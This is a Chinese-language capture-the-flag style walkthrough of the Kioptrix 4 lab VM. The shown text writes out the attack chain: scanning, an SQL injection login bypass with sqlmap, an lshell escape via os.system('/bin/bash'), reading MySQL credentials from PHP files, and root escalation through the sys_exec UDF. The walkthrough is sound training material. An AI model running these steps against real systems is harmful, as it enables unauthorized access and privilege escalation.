靶场搭建

  • kali:192.168.102.128

  • 靶机:192.168.102.129

靶机下载地址: https://download.vulnhub.com/kioptrix/Kioptrix4_vmware.rar

下载后是一个vmdk文件,使用VMware启动靶场,新建虚拟机选择自定义,在选择磁盘的时候选择我们下载的wmdk文件

靶机正常启动:

信息收集

因为靶场跟kali在同一个段,探测使用该命令:

fping -agq 192.168.102.128/24

探测到192.168.102.129存活,然后探测该主机端口存活情况:

nmap --min-rate 10000 -T5 -p 1-65535 -A -sC 192.168.102.129

漏洞发现&利用

探测发现存在80、22端口,访问80端口

经测试发现该登录界面密码处存在sql注入,账号admin,密码admin'尝试登录发现报错:

使用sqlmap工具来获取数据库信息:

.\sqlmap.py -r .\post.txt --level 3 --batch

通过sqlmap工具查看数据库内容获取到如下信息:

通过查到用户名和密码尝试登录web界面,但是web界面没有功能点。又尝试使用对应账号密码连接ssh,两个账号都能登录ssh,但是可以执行的命令很有限。

连接ssh的时候会显示:Unable to negotiate with 192.168.102.129 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

解决办法:

ssh -o HostkeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa [email protected]

连接后发现可以执行的命令很少,通过查看其他博主的过程发现是存在一个lshell限制,突破限制:

echo os.system('/bin/bash')

权限提升

尝试通过mysql的udf进行提权。

查找mysql连接账号密码,通过find命令搜索php文件查看mysql的连接信息:

find /var/www -name *.php
cat /var/www/checklogin.php

mysql账号为root密码为空进行连接,发现连接成功

查找mysql用户自定义函数,并利用函数将用户robert添加至管理员

SELECT * FROM mysql.func;
select sys_exec('usermod -a -G admin robert');

通过sudo su将robert提升至root权限

过程

简单理解,通过ip找到端口80存在登录页面

---> 登录界面存在sql注入漏洞

---> 通过sql注入获取账号密码

---> 通过账号密码尝试登录ssh(登录成功)

---> 登录后命令行存在局限性进行突破

---> 突破后进行提权,使用udf进行提权

相关连接

https://blog.csdn.net/YouthBelief/article/details/121554747

https://blog.csdn.net/qq_32261191/article/details/10640875